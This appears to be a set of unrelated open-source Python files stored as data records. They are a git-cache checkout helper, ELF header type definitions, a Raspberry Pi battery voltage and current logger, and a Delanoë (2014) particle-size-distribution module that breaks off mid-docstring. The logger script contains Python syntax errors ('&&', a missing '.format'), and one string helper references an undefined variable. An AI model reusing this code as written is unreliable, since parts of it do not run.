import GitMirror\n\n\n# -----------------------------------------------------------------------------\n# Logger\n# -----------------------------------------------------------------------------\nLOG = logging.getLogger(__name__)\n\n\n# -----------------------------------------------------------------------------\n# Function Definitions\n# -----------------------------------------------------------------------------\n# pylint: disable=too-many-locals\ndef git_checkout(git_options):\n \"\"\"Handle a git checkout command.\n\n Args:\n git_options (obj): The GitOptions object.\n\n Return:\n Returns 0 on success, otherwise the return code of the last failed\n command.\n \"\"\"\n # Collect all refs for an lfs fetch\n ref_candidates = [x for x in git_options.command_args\n if not x.startswith('-') and not x.startswith(':')]\n lfs_fetch_refs = []\n for ref in ref_candidates:\n command = git_options.get_real_git_with_options()\n command += [\"show-ref\", ref]\n retval, output = getstatusoutput(command)\n if retval == 0 and 'remotes' in output:\n lfs_fetch_refs.append(ref)\n\n if lfs_fetch_refs:\n mirror_url = get_mirror_url(git_options)\n if mirror_url:\n database = Database()\n mirror = GitMirror(url=mirror_url, database=database)\n for ref in lfs_fetch_refs:\n mirror.fetch_lfs(ref)\n\n return simple_call_command(git_options.get_real_git_all_args())\n\n\n# -----------------------------------------------------------------------------\n# EOF\n# -----------------------------------------------------------------------------\n", "source": "seeraven/gitcache", "license": "BSD-3-Clause"} {"text": "import ptypes\nfrom ptypes import ptype,parray,pstruct,pint,pstr,dyn,pbinary\nptypes.setbyteorder(ptypes.config.byteorder.littleendian)\n\n### header markers\nclass ElfXX_File(ptype.boundary): pass\nclass ElfXX_Header(ptype.boundary): pass\nclass ElfXX_Ehdr(ElfXX_Header): pass\n\n### base\nclass uchar(pint.uint8_t): pass\nclass ElfXX_BaseOff(ptype.rpointer_t):\n '''Always an offset relative to base of file.'''\n _object_ = ptype.undefined\n def _baseobject_(self):\n return self.getparent(ElfXX_File)\n\nclass ElfXX_BaseAddr(ptype.opointer_t):\n '''Always a virtual address relative to base of file.'''\n @classmethod\n def typename(cls):\n return cls.__name__\n\n def classname(self):\n try: object = self._object_() if callable(self._object_) else self._object_\n except Exception: object = self._object_\n\n try: type = object.classname() if ptypes.isinstance(object) else object.typename()\n except Exception: pass\n else: return \"{:s}<{:s}>\".format(self.typename(), type)\n\n type = object.__name__\n return \"{:s}<{:s}>\".format(self.typename(), type)\n\n def _calculate_(self, offset):\n base = self.getparent(ElfXX_File)\n return base.getoffset() + offset\n\nclass ElfXX_Off(ElfXX_BaseAddr):\n '''Always an offset that will be converted to an address when its in memory.'''\n _object_ = ptype.undefined\n def _calculate_(self, offset):\n base = self.getparent(ElfXX_File)\n try:\n if isinstance(self.source, ptypes.provider.memorybase):\n p = self.getparent(ElfXX_Ehdr)\n phentries = p['e_phoff'].d.li\n ph = phentries.byoffset(offset)\n return base.getoffset() + ph.getaddressbyoffset(offset)\n\n except ptypes.error.ItemNotFoundError:\n pass\n\n return base.getoffset() + offset\n\nclass ElfXX_VAddr(ElfXX_BaseAddr):\n '''Always a virtual address that will be converted to an offset when its a file.'''\n _object_ = ptype.undefined\n def _calculate_(self, address):\n base = self.getparent(ElfXX_File)\n try:\n if isinstance(self.source, ptypes.provider.fileobj):\n p = self.getparent(ElfXX_Ehdr)\n phentries = p['e_phoff'].d.li\n ph = phentries.byaddress(address)\n return base.getoffset() + ph.getoffsetbyaddress(address)\n\n except ptypes.error.ItemNotFoundError:\n pass\n\n return base.getoffset() + address\n\nclass ElfXX_Addr(ptype.pointer_t):\n '''Just a regular address.'''\n _object_ = ptype.undefined\n\nclass ULEB128(pbinary.terminatedarray):\n class septet(pbinary.struct):\n _fields_ = [\n (1, 'more'),\n (7, 'value'),\n ]\n _object_ = septet\n def isTerminator(self, value):\n return not bool(value['more'])\n\n def int(self): return self.get()\n def get(self):\n res = 0\n for n in reversed(self):\n res = (res << 7) | n['value']\n return res\n def set(self, value):\n result, mask = [], pow(2, 7) - 1\n while value > 0:\n item = self.new(self.septet).set((1, value & mask))\n result.append(item)\n value //= pow(2, 7)\n result[-1].set(more=0)\n self.value[:] = result[:]\n return self\n\n def summary(self):\n res = self.int()\n return \"{:s} : {:d} : ({:#x}, {:d})\".format(self.__element__(), res, res, 7*len(self))\n\n### elf32\nclass Elf32_BaseOff(ElfXX_BaseOff):\n _value_ = pint.uint32_t\nclass Elf32_BaseAddr(ElfXX_BaseAddr):\n _value_ = pint.uint32_t\nclass Elf32_Off(ElfXX_Off):\n _value_ = pint.uint32_t\nclass Elf32_Addr(ElfXX_Addr):\n _value_ = pint.uint32_t\nclass Elf32_VAddr(ElfXX_VAddr):\n _value_ = pint.uint32_t\n\nclass Elf32_Half(pint.uint16_t): pass\nclass Elf32_Sword(pint.int32_t): pass\nclass Elf32_Word(pint.uint32_t): pass\n\n### elf64\nclass Elf64_BaseOff(ElfXX_BaseOff):\n _value_ = pint.uint64_t\nclass Elf64_BaseAddr(ElfXX_BaseAddr):\n _value_ = pint.uint64_t\nclass Elf64_Off(ElfXX_Off):\n _value_ = pint.uint64_t\nclass Elf64_Addr(ElfXX_Addr):\n _value_ = pint.uint64_t\nclass Elf64_VAddr(ElfXX_VAddr):\n _value_ = pint.uint64_t\n\nclass Elf64_Half(Elf32_Half): pass\nclass Elf64_Word(Elf32_Word): pass\nclass Elf64_Sword(Elf32_Sword): pass\nclass Elf64_Xword(pint.uint64_t): pass\nclass Elf64_Sxword(pint.int64_t): pass\n\nclass padstring(pstr.string):\n def set(self, string):\n res, bs = \"{!s}\".format(string), self.blocksize()\n return super(padstring, self).set(\"{:{:d}s}\".format(padding, bs))\n\n def str(self):\n res = super(padstring, self).str()\n return res.rstrip()\n\nclass stringinteger(padstring):\n def set(self, integer):\n res, bs = \"{!s}\".format(integer), self.blocksize()\n return super(padstring, self).set(\"{:<{:d}s}\".format(res, bs))\n\n def int(self):\n res = super(padstring, self).str()\n return int(res.rstrip())\n\nclass octalinteger(padstring):\n def set(self, integer):\n res, bs = \"{!s}\".format(integer), self.blocksize()\n return super(padstring, self).set(\"{: {:d}s}\".format(res, bs))\n\n def int(self):\n res = super(padstring, self).str()\n return int(res.rstrip(), 8)\n", "source": "arizvisa/syringe", "license": "BSD-2-Clause"} {"text": "from time import sleep, strftime, time\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport board\nimport busio\nimport adafruit_ads1x15.ads1115 as ADS\nfrom adafruit_ads1x15.analog_in import AnalogIn\n\n# Create the I2C bus\ni2c = busio.I2C(board.SCL, board.SDA)\n#What Data Do We Need?\nPrint = True#For Debugging and Calibration\nChart = True#Calibration Chart\nvoltOffset = 0#\nrelayOffset = 0\nampsOffset = 20991#16750\n#voltSlope\n#ampSlope\n# Create the ADC object using the I2C bus\nads0 = ADS.ADS1115( i2c, address=0x4b )# Make Sure it's the right Address\n#ads1 = ADS.ADS1115( i2c, address=0x49 )\n\n# Create single-ended input on each channel 0-3\nchan0 = AnalogIn(ads0, ADS.P0)\nchan1 = AnalogIn(ads0, ADS.P1)\nchan2 = AnalogIn(ads0, ADS.P2)\nchan3 = AnalogIn(ads0, ADS.P3)\n# chan1 = AnalogIn(ads1, ADS.P1)\n#LOG Data to CSV\ndef write_ADS():\n with open(\"/home/pi/ADS1115/ADS1115_RAWdata.csv\", \"a\") as log:\n #with open(\"/home/pi/ADS1115/ADS1115_VOLTdata.csv\", \"a\") as log:\n log.write(\"{0},{1},{2},{3},{4}\\n\".format(strftime(\"%Y-%m-%d %H:%M:%S\"),chan0.value, chan1.value, chan2.value, chan3.value))\n #log.write(\"{0},{1},{2},{3},{4}\\n\".format(strftime(\"%Y-%m-%d %H:%M:%S\"),chan0.voltage, chan1.voltage, chan2.voltage, chan3.voltage))\n #log.write(\"{0},{1}\\n\".format(strftime(\"%Y-%m-%d %H:%M:%S\"),str(temp3)))\n\n# Create differential input between channel 0 and 1\n# chan = AnalogIn(ads, ADS.P0, ADS.P1)\n\nplt.ion()\nplt.figure(1)\nplt.figure(\"Relay\")\nv0 = []#Array for A0\nv1 = []\nv2 = []\nv3 = []\n#y = []\nx = []\na = []\nv = []\n\ndef runningMeanFast(z, N):\n return np.convolve(z, np.ones((N,))/N)[(N-1):]\n\ndef graph():\n #amps = (chan2.voltage - 2.36) * 19.2\n #volts = (chan1.voltage) * 186.5 #186.5 24.2v nightime, no solar #184.4#triggered at 23.3\n \n amps = battamps\n volts = battvoltage\n a.append(amps)#AMPS - 24v\n v.append(volts)#VOLTS - 24v\n v0.append(chan0.value)#v0.append(chan0.voltage)#\n v1.append(chan1.value)#v1.append(chan0.voltage)\n v2.append(chan2.value)#v2.append(chan0.voltage)\n v3.append(chan3.voltage)#v3.append(chan0.value)#Fix Conditions Depending on Voltage Reading First\n x.append(time())\n plt.clf()\n #glow plug amps is very Stable ~2.5v ~= 24v. MPPT turns on inverter @ 25V State of Charge\n #plt.plot(x,v0)\n #24v battery voltage\n plt.figure(1)\n plt.subplot(2,1,1)\n if amps > 5:\n plt.ylim(5,20)\n elif amps < 0.5 && amps > -0.5:\n plt.ylim(-5,10)\n elif amps < -0.5:\n plt.ylim(-5,0)\n elif amps < 2:\n plt.ylim(0,2)\n elif amps < 5:\n plt.ylim(0,5)\n plt.plot(x,a)\n plt.xlabel(\"Time\")\n #b = np.smooth(a, window='flat', window_len=11)\n #plt.plot(x,b)\n #plt.plot(runningMeanFast(a,N))\n #plt.plot(np.convolve(np.ones(200), np.ones(50)/50, mode='valid'));\n #plt.plot(x,cumsum)\n #plt.plot(x, cumsum)\n #plt.plot(x, moving_aves)\n plt.ylabel(\"Amps\")\n #~2.50v ~= 0.5 Amps Charging, ~2.30v ~= 5A Dischargeing\n plt.subplot(2,1,2)\n if volts > 28:\n plt.ylim(28,30)\n elif volts < 24:\n plt.ylim(22,24)\n elif volts < 28:\n plt.ylim(22,28)\n plt.plot(x,v)\n plt.plot(x,v3)\n plt.ylabel(\"Battery Voltage\")\n plt.xlabel(\"Time\")\n #plt.subplot(2,1,3)#Didn't like this 3\n \n #Relay Chart\n if Chart == True:\n \tplt.figure(\"Relay\")\n \tplt.subplot(2,1,1)\n \tplt.plot(x,v0)\n plt.xlabel(\"Time\")\n plt.ylabel(\"Amps-RAW\")\n \tplt.subplot(2,1,2)\n \tplt.plot(x,v3)\n plt.xlabel(\"Time\")\n #ylabel(\"Volts\")\n plt.draw()\n\nif Print == True:\n print(\"{:>5}\\t{:>5}{:>5}\\t{:>5}{:>5}\\t{:>5}{:>5}\\t{:>5}\".format('raw0', 'v0', 'raw1', 'v1', 'raw2', 'v2', 'raw3', 'v3'))\n\nwhile True:\n battvoltage = (chan1.value * .0234945045) - relayOffset #0.0234945045 = good while on Grid, Grid Relay on = 1453raw 0am\n #sleep(0.2)\n battamps = ((chan2.value - ampsOffset) * 0.0034638)#0.002986)#0.00272)#Needs to be slightly larger multiplyer 1/11/21 #jan10:offset:16884#attempt~offset:19050, new new offset: 17540, new offset:20103 multiplyer/slope:0.00272 #27.46 #13,884=2.35v??? # \n #battvoltage = (chan1.value * voltageSlope) - voltageOffset\n #battamps = ((chan2.value - ampOffset) * ampSlope)\n relayVoltage = chan3.value * 0.0007846528\n relayCurrent = (chan0.value - 31163)#IF value is greater than 0, grid is off. else grid on\n if relayVoltage > 24:\n relayOffset = 10.1#Make this zero and correct multiplyer slope \n #battAmpsCoeff = 0.00272\n ampsOffset = 20991#20668-20640->(Guessed with 0.5 inverter load, 0.5 solar for 0)#20991->(Recorded at night MPPT Load Disconnected)\n #voltageCurve = 0.0234945045\n elif relayVoltage < 20:\n relayOffset = 0\n voltageOffset = 0.0234945045#Original Slope\n ampsOffset = 20654##16800(OldValue)#20480(-0.5A Inverter Only)\n #battAmpsCoeff = 0.00349\n #voltageCurve = 0.0234945045\n #else:\n \n #print(\"Battery Within Window\")\n write_ADS()\n graph() \n if Print == True:\n #print(\"{:>5}\\t{:>5.3f}{:>5}\\t{:>5.3f}{:>5}\\t{:>5.3f}{:>5}\\t{:>5.3f}\".format(chan0.value, chan0.voltage, chan1.value, chan1.voltage, chan2.value, chan2.voltage, chan3.value, chan3.voltage))\n print(\"{:.2f}\"format(battvoltage), \"{:2f}\"format(battamps), chan1.value, chan2.value, \"Amps:\", chan0.value, \"Volts:\", chan3.value)\n #print(\"A0=RAW:\",chan0.value,\"A1=RAW:\",chan1.value,\"A2=RAW:\",chan2.value,\"A3=RAW:\",chan3.value)\n #print(time())\n \n if amps < 0.25 && amps > -0.25:\n plt.pause(60)\n else:\n plt.pause(0.3)\n #print(\"{:>5}\\t{:>5.3f}\".format(chan0.value, chan0.voltage))\n #time.sleep(0.5)\n #print(\"{:>5}\\t{:>5.3f}\".format(chan1.value, chan1.voltage))\n #time.sleep(0.5)\n #print(\"{:>5}\\t{:>5.3f}\".format(chan2.value, chan2.voltage))\n #time.sleep(0.5)\n #print(\"{:>5}\\t{:>5.3f}\".format(chan3.value, chan3.voltage))\n #time.sleep(0.5)\n #print(\"{:>5}\\t{:>5.3f}\".format(chan1.value, chan1.voltage))\n", "source": "macmaniac77/Pond-DataGraph_Logger", "license": "Unlicense"} {"text": "r\"\"\"\nThe Delano\u00eb (2014) PSD\n======================\n\nThe D14 particle size distribution as proposed by Delano\u00eb in :cite:`delanoe2014`\nuses a normalized form of the modified gamma distribution, parametrized\nas follows:\n\n.. math::\n\n \\frac{dN(X)}{dX} = N_0^* \\beta \\frac{\\Gamma(4)}{4^4}\n \\frac{\\Gamma(\\frac{\\alpha + 5}{\\beta})^{(4 + \\alpha)}}\n {\\Gamma(\\frac{\\alpha + 4}{\\beta})^{(5 + \\alpha)}}\n X^\\alpha \\exp \\left \\{- \\left (X \\frac{\\Gamma(\\frac{\\alpha + 5}{\\beta})}\n {\\Gamma(\\frac{\\alpha + 4}{\\beta})}\n \\right )^\\beta \\right \\}\n\nThe parameter X is defined as the volume equivalent sphere diameter\n:math:`D_{eq}` normalized by the mass-weighted mean diameter:\n\n.. math::\n\n X = \\frac{D_{eq}}{D_m}\n\nThe PSD is thus parametrized by four parameters:\n - :math:`N_0^*`, here called the *intercept parameter*\n - :math:`D_m`, the *mass-weighted mean diameter*\n - the shape parameters :math:`\\alpha` and :math:`\\beta`\n\nOf these, :math:`\\alpha` and :math:`\\beta` are generally assumed fixed, while\n:math:`N_0` and :math:`D_m` are the predictive parameters that describe\nthe distribution of particles withing a given atmospheric volume.\n\nThe particle mass density :math:`m` per bulk volume can be computed\nfrom :math:`N_0` and :math:`D_m` using:\n\n.. math::\n m = \\frac{\\Gamma(4)}{4^4}\\frac{\\pi \\rho}{6}N_0^*D_m^4\n\nIn this module, two implementations of the D14 PSD are provided:\n\n- the :class:`D14` class that uses the mass-density and :math:`D_m` as\n moments of the PSD\n- the :class:`D14N` :class that uses the intercept parameter :math:`N_0^*`\n and :math:`D_m` as moments of the PSD\n\n\"\"\"\nfrom artssat import dimensions as dim\nfrom artssat.scattering.psd.arts.arts_psd import ArtsPSD\nfrom artssat.scattering.psd.data.psd_data import PSDData, D_eq\nfrom pyarts.workspace import arts_agenda\nimport numpy as np\nimport scipy as sp\nfrom scipy.special import gamma\n\n################################################################################\n# General PSD function\n################################################################################\n\ndef evaluate_d14(x, n0, dm, alpha, beta):\n \"\"\"\n Compute the particle size distribution of the D14 PSD.\n\n Parameters:\n\n x(numpy.array): 1D array containing the values of the size parameter\n :math:`D_{eq}` at which to evaluate the PSD. If :code:`x` is not\n 1D it will be flattened.\n\n n0(numpy.array or scalar): Array containing the values of the\n intercept parameter for which the PSD should be evaluated.\n\n dm(numpy.array or scalar): Array containing the values of the mass\n weighted mean diameter at which to evaluate the PSD. Must be\n broadcastable to the shape of :code:`n0`\n\n alpha(numpy.array or scalar): Array containing the values of the\n :math:`alpha` parameter a which to evaulate the PSD. Must be\n broadcastable to the shape of :code: `n0`\n\n beta(numpy.array or scalar): Array containing the values of the\n :math:`beta` parameter a which to evaulate the PSD. Must be\n broadcastable to the shape of :code: `n0`\n\n Returns:\n\n Array :code:`dNdD_eq` containing the computed values of the PSD. The first\n dimensions of :code:`dNdD_eq` correspond to the shape of the :code:`n0`\n parameter and the last dimension to the size parameter.\n\n \"\"\"\n shape = n0.shape\n result_shape = shape + (1,)\n\n n0 = np.reshape(n0, result_shape)\n\n try:\n dm = np.broadcast_to(dm, shape).reshape(result_shape)\n except:\n raise Exception(\"Could not broadcast 'dm' parameter to shape of 'n0' \"\n \"parameter.\")\n\n try:\n alpha = np.broadcast_to(alpha, shape).reshape(result_shape)\n except:\n raise Exception(\"Could not broadcast 'alpha' parameter to shape of 'n0' \"\n \"parameter.\")\n\n try:\n beta = np.broadcast_to(beta, shape).reshape(result_shape)\n except:\n raise Exception(\"Could not broadcast 'beta' parameter to shape of 'n0' \"\n \"parameter.\")\n\n x = x.reshape((1,) * len(shape) + (-1,))\n x = x / dm\n\n c1 = gamma(4.0) / 4 ** 4\n c2 = gamma((alpha + 5) / beta) ** (4 + alpha) / \\\n gamma((alpha + 4) / beta) ** (5 + alpha)\n c3 = gamma((alpha + 5) / beta) / \\\n gamma((alpha + 4) / beta)\n\n y = n0 * beta * c1 * c2\n y = y * x ** alpha\n y *= np.exp(- (x * c3) ** beta)\n\n # Set invalid values to zero\n y[np.broadcast_to(dm == 0.0, y.shape)] = 0.0\n\n return y\n\n################################################################################\n# PSD classes\n################################################################################\n\nclass D14(ArtsPSD):\n \"\"\"\n\n Implementation of the D14 PSD that uses mass density :math:`m` and\n mass-weighted mean diameter :math:`D_m` as free parameters.\n \"\"\"\n\n @classmethod\n def from_psd_data(self, psd, alpha, beta, rho):\n \"\"\"\n Create an instance of the D14 PSD from existing PSD data.\n\n Parameters:\n\n :code:`psd`: A numeric or analytic representation of\n a PSD.\n\n alpha(:class:`numpy.ndarray`): The :math:`\\alpha` parameter of\n the to use for the D14 PSD.\n\n beta(:class:`numpy.ndarray`): The :math:`\\beta` parameter of\n the to use for the D14 PSD.\n\n rho(:class:`numpy.float`): The average density of the hydrometeors,\n should be somewhere in between :math:`916.7 kg\\m^{-3}` and\n :math:`1000 kg\\m^{-3}`.\n \"\"\"\n new_psd = D14(alpha, beta, rho)\n new_psd.convert_from(psd)\n return new_psd\n\n def convert_from(self, psd):\n \"\"\"\n Converts a given psd to a :class:`D14` PSD with the :math:`\\alpha, \\beta`\n and :math:`\\rho` this :class`D14` instance.\n\n Arguments:\n\n psd: Another psd object providing :code:`get_mass_density` and\n `get_moment` member functions to compute moments of the PSD.\n \"\"\"\n md = psd.get_mass_density()\n\n m4 = psd.get_moment(4.0, reference_size_parameter = self.size_parameter)\n m3 = psd.get_moment(3.0, reference_size_parameter = self.size_parameter)\n\n dm = m4 / m3\n dm[m3 == 0.0] = 0.0\n\n self.mass_density = md\n self.mass_weighted_diameter = dm\n\n def __init__(self, alpha, beta, rho = 917.0,\n mass_density = None,\n mass_weighted_diameter = None):\n \"\"\"\n Parameters:\n\n alpha(numpy.float): The value of the :math:`alpha` parameter for\n the PSD\n\n beta(numpy.float): The value of the :math:`beta` parameter for\n the PSD\n\n rho(numpy.float): The particle density to use for the conversion\n to mass density.\n\n mass_density(numpy.array): If provided, this can be used to fix\n the value of the mass density which will then not be queried\n from the data provider.\n\n mass_weighted_diameter(numpy.array): If provided, this can be used\n to fix the value of the mass weighted mean diameter which will\n then not be queried from the data provider.\n\n \"\"\"\n from artssat.scattering.psd.data.psd_data import D_eq\n\n self.alpha = alpha\n self.beta = beta\n self.rho = rho\n\n if not mass_density is None:\n self.mass_density = mass_density\n if not mass_weighted_diameter is None:\n self.mass_weighted_diameter = mass_weighted_diameter\n\n super().__init__(D_eq(self.rho))\n\n self.rho = rho\n self.dm_min = 1e-12\n\n @property\n def moment_names(self):\n return [\"mass_density\", \"mass_weighted_diameter\"]\n\n @property\n def moments(self):\n return [self.mass_density, self.mass_weighted_diameter]\n\n @property\n def pnd_call_agenda(self):\n @arts_agenda\n def pnd_call(ws):\n ws.psdDelanoeEtAl14(n0Star = -999.0,\n Dm = np.nan,\n iwc = np.nan,\n rho = self.rho,\n alpha = self.alpha,\n beta = self.beta,\n t_min = self.t_min,\n dm_min = self.dm_min,\n t_max = self.t_max)\n return pnd_call\n\n def _get_parameters(self):\n\n md = self.mass_density\n if md is None:\n raise Exception(\"The 'mass_density' array needs to be set to use\"\n \"this function.\")\n\n shape = md.shape\n\n dm = self.mass_weighted_diameter\n if dm is None:\n raise Exception(\"The 'mass_weighted_diameter' array needs to be set \"\n \"to use this function.\")\n\n try:\n dm = np.broadcast_to(dm, shape)\n except:\n raise Exception(\"Could not broadcast the 'mass_weighted_diameter'\"\n \"data into the shape of the mass density data.\")\n\n try:\n alpha = np.broadcast_to(self.alpha, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'alpha' \"\n \" parameter into the shape the mass density data.\")\n\n try:\n beta = np.broadcast_to(self.beta, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'beta' \"\n \" parameter into the shape the mass density data.\")\n\n return md, dm, alpha, beta\n\n def get_moment(self, p, reference_size_parameter = None):\n \"\"\"\n Computes the moments of the PSD analytically.\n\n Parameters:\n\n p(:code:`numpy.float`): Wich moment of the PSD to compute\n\n reference_size_parameter(:class:`SizeParameter`): Size parameter\n with respect to which the moment should be computed.\n\n Returns:\n\n Array containing the :math:`p` th moment of the PSD.\n\n \"\"\"\n if not reference_size_parameter is None:\n a1 = self.size_parameter.a\n b1 = self.size_parameter.b\n a2 = reference_size_parameter.a\n b2 = reference_size_parameter.b\n\n c = (a1 / a2) ** (p / b2)\n p = p * b1 / b2\n else:\n c = 1.0\n\n md, dm, alpha, beta = self._get_parameters()\n n0 = 4.0 ** 4 / (np.pi * self.rho) * md / dm ** 4.0\n\n nu_mgd = beta\n lmbd_mgd = gamma((alpha + 5) / beta) / \\\n gamma((alpha + 4) / beta)\n alpha_mgd = (alpha + 1) / beta - 1\n n_mgd = n0 * gamma(4.0) / 4.0 ** 4 * \\\n gamma((alpha + 1) / beta) * \\\n gamma((alpha + 5) / beta) ** 3 / \\\n gamma((alpha + 4) / beta) ** 4\n\n m = n_mgd / lmbd_mgd ** p\n m *= gamma(1 + alpha_mgd + p / nu_mgd)\n m /= gamma(1 + alpha_mgd)\n\n return c * m * dm ** (p + 1)\n\n def get_mass_density(self):\n \"\"\"\n Returns:\n Array containing the mass density for all the bulk volumes described\n by this PSD.\n \"\"\"\n if self.mass_density is None:\n raise Exception(\"The free mass_density parameter has not been set.\")\n else:\n return self.mass_density\n\n def evaluate(self, x):\n \"\"\"\n Compute value of the particle size distribution for given values of the\n size parameter.\n\n Parameters:\n x(numpy.array): Array containing the values of :math:`D_eq` at which to\n compute the number density.\n\n Returns:\n\n Array :code:`dNdD_eq` containing the computed values of the PSD. The first\n dimensions of :code:`dNdD_eq` correspond to the shape of the :code:`n0`\n parameter and the last dimension to the size parameter.\n\n \"\"\"\n\n try:\n md = self.mass_density\n except:\n raise Exception(\"The 'mass_density' array needs to be set, before\"\n \" the PSD can be evaluated.\")\n\n try:\n dm = self.mass_weighted_diameter\n except:\n raise Exception(\"The 'mass_weighted_diameter' array needs to be\"\n \" set, before the PSD can be evaluated.\")\n\n n0 = 4.0 ** 4 / (np.pi * self.rho) * md / dm ** 4.0\n\n y = evaluate_d14(x, n0, dm, self.alpha, self.beta)\n return PSDData(x, y, D_eq(self.rho))\n\nclass D14N(ArtsPSD):\n \"\"\"\n\n Implementation of the D14 PSD that uses the intercept parameter :math:`N_0^*`\n and the mass-weighted mean diameter :math:`D_m` as free parameters.\n\n \"\"\"\n\n @classmethod\n def from_psd_data(cls, psd, alpha, beta, rho):\n \"\"\"\n Create an instance of the D14 PSD from existing PSD data.\n\n Parameters:\n :code:`psd`: A numeric or analytic representation of\n a PSD.\n\n alpha(:code:`numpy.ndarray`): The :math:`alpha` parameter of\n the to use for the D14 PSD.\n\n beta(:code:`numpy.ndarray`): The :math:`beta` parameter of\n the to use for the D14 PSD.\n\n rho(:code:`numpy.float`): The density to use for the D14 PSD\n \"\"\"\n new_psd = cls(alpha, beta, rho)\n new_psd.convert_from(psd)\n return new_psd\n\n def convert_from(self, psd):\n\n md = psd.get_mass_density()\n\n m4 = psd.get_moment(4.0, reference_size_parameter = self.size_parameter)\n m3 = psd.get_moment(3.0, reference_size_parameter = self.size_parameter)\n\n dm = m4 / m3\n dm[m3 == 0.0] = 0.0\n n0 = 4.0 ** 4 / (np.pi * self.rho) * md / dm ** 4\n n0[m3 == 0.0] = 0.0\n\n self.mass_density = md\n self.intercept_parameter = n0\n self.mass_weighted_diameter = dm\n\n\n def __init__(self, alpha, beta, rho = 917.0,\n intercept_parameter = None,\n mass_weighted_diameter = None):\n \"\"\"\n Parameters:\n\n alpha(numpy.float): The value of the :math:`alpha` parameter for\n the PSD\n\n beta(numpy.float): The value of the :math:`beta` parameter for\n the PSD\n\n rho(numpy.float): The particle density to use for the conversion\n to mass density.\n\n intercept_parameter(numpy.array): If provided, this can be used to fix\n the value of the mass density which will then not be queried\n from the data provider.\n\n mass_weighted_diameter(numpy.array): If provided, this can be used\n to fix the value of the mass weighted mean diameter which will\n then not be queried from the data provider.\n\n \"\"\"\n from artssat.scattering.psd.data.psd_data import D_eq\n\n self.alpha = alpha\n self.beta = beta\n self.rho = rho\n\n if not intercept_parameter is None:\n self.intercept_parameter = intercept_parameter\n if not mass_weighted_diameter is None:\n self.mass_weighted_diameter = mass_weighted_diameter\n\n self.dm_min = 1e-12\n\n super().__init__(D_eq(self.rho))\n\n @property\n def moment_names(self):\n return [\"intercept_parameter\", \"mass_weighted_diameter\"]\n\n @property\n def moments(self):\n try:\n return [self.intercept_parameter, self.mass_weighted_diameter]\n except:\n return None\n\n @property\n def pnd_call_agenda(self):\n @arts_agenda\n def pnd_call(ws):\n ws.psdDelanoeEtAl14(n0Star = np.nan,\n Dm = np.nan,\n iwc = -999.0,\n rho = self.rho,\n alpha = self.alpha,\n beta = self.beta,\n t_min = self.t_min,\n dm_min = self.dm_min,\n t_max = self.t_max)\n return pnd_call\n\n def _get_parameters(self):\n\n n0 = self.intercept_parameter\n if n0 is None:\n raise Exception(\"The 'intercept_parameter' data needs to be set to \"\n \" use this function.\")\n\n shape = n0.shape\n\n dm = self.mass_weighted_diameter\n if dm is None:\n raise Exception(\"The 'mass_weighted_diameter' array needs to be set \"\n \"to use this function.\")\n\n try:\n dm = np.broadcast_to(dm, shape)\n except:\n raise Exception(\"Could not broadcast the 'mass_weighted_diameter'\"\n \"data into the shape of the mass density data.\")\n\n try:\n alpha = np.broadcast_to(self.alpha, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'alpha' \"\n \" parameter into the shape the mass density data.\")\n\n try:\n beta = np.broadcast_to(self.beta, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'beta' \"\n \" parameter into the shape the mass density data.\")\n\n return n0, dm, alpha, beta\n\n\n def get_mass_density(self):\n \"\"\"\n Returns:\n Array containing the mass density for all the bulk volumes described\n by this PSD.\n \"\"\"\n if self.intercept_parameter is None \\\n or self.mass_weighted_diameter is None :\n raise Exception(\"The parameters of the PSD have not been set.\")\n else:\n c = gamma(4.0) / 4.0 ** 4.0\n m = c * np.pi * self.rho / 6.0 * self.intercept_parameter \\\n * self.mass_weighted_diameter ** 4.0\n return m\n\n def get_moment(self, p, reference_size_parameter = None):\n \"\"\"\n Computes the moments of the PSD analytically.\n\n The physical significance of a moment of a PSD depends on the size\n parameter. So in general, the moments of the same PSD given w.r.t.\n different size parameters differ. If the\n :code:`reference_size_parameter` argument is given then the\n computed moment will correspond to the Moment of the PSD w.r.t. to\n the given size parameter.\n\n Parameters:\n\n p(:code:`numpy.float`): Wich moment of the PSD to compute\n\n reference_size_parameter(SizeParameter): Size parameter with\n respect to which the moment should be computed.\n\n Returns:\n\n Array containing the :math:`p` th moment of the PSD.\n\n \"\"\"\n if not reference_size_parameter is None:\n a1 = self.size_parameter.a\n b1 = self.size_parameter.b\n a2 = reference_size_parameter.a\n b2 = reference_size_parameter.b\n\n c = (a1 / a2) ** (p / b2)\n p = p * b1 / b2\n else:\n c = 1.0\n\n n0, dm, alpha, beta = self._get_parameters()\n\n nu_mgd = beta\n lmbd_mgd = gamma((alpha + 5) / beta) / \\\n gamma((alpha + 4) / beta)\n alpha_mgd = (alpha + 1) / beta - 1\n n_mgd = n0 * gamma(4.0) / 4.0 ** 4 * \\\n gamma((alpha + 1) / beta) * \\\n gamma((alpha + 5) / beta) ** 3 / \\\n gamma((alpha + 4) / beta) ** 4\n\n m = n_mgd / lmbd_mgd ** p\n m *= gamma(1 + alpha_mgd + p / nu_mgd)\n m /= gamma(1 + alpha_mgd)\n\n return c * m * dm ** (p + 1)\n\n def evaluate(self, x):\n \"\"\"\n Compute value of the particle size distribution for given values of the\n size parameter.\n\n Parameters:\n x(numpy.array): Array containing the values of :math:`D_eq` at which to\n compute the number density.\n\n Returns:\n\n Array :code:`dNdD_eq` containing the computed values of the PSD. The first\n dimensions of :code:`dNdD_eq` correspond to the shape of the :code:`n0`\n parameter and the last dimension to the size parameter.\n\n \"\"\"\n n0 = self.intercept_parameter\n if n0 is None:\n raise Exception(\"The 'intercept_parameter' array needs to be set, before\"\n \" the PSD can be evaluated.\")\n\n dm = self.mass_weighted_diameter\n if dm is None:\n raise Exception(\"The 'mass_weighted_diameter' array needs to be\"\n \" set, before the PSD can be evaluated.\")\n\n y = evaluate_d14(x, n0, dm, self.alpha, self.beta)\n return PSDData(x, y, D_eq(self.rho))\n\nclass D14MN(D14N):\n \"\"\"\n\n Implementation of the D14 PSD that uses mass density $m$ and intercept\n parameter :math:`N_0^*` as free parameters.\n\n \"\"\"\n def __init__(self, alpha, beta, rho = 917.0,\n mass_density = None,\n intercept_parameter = None):\n \"\"\"\n Parameters:\n\n alpha(numpy.float): The value of the :math:`alpha` parameter for\n the PSD\n\n beta(numpy.float): The value of the :math:`beta` parameter for\n the PSD\n\n 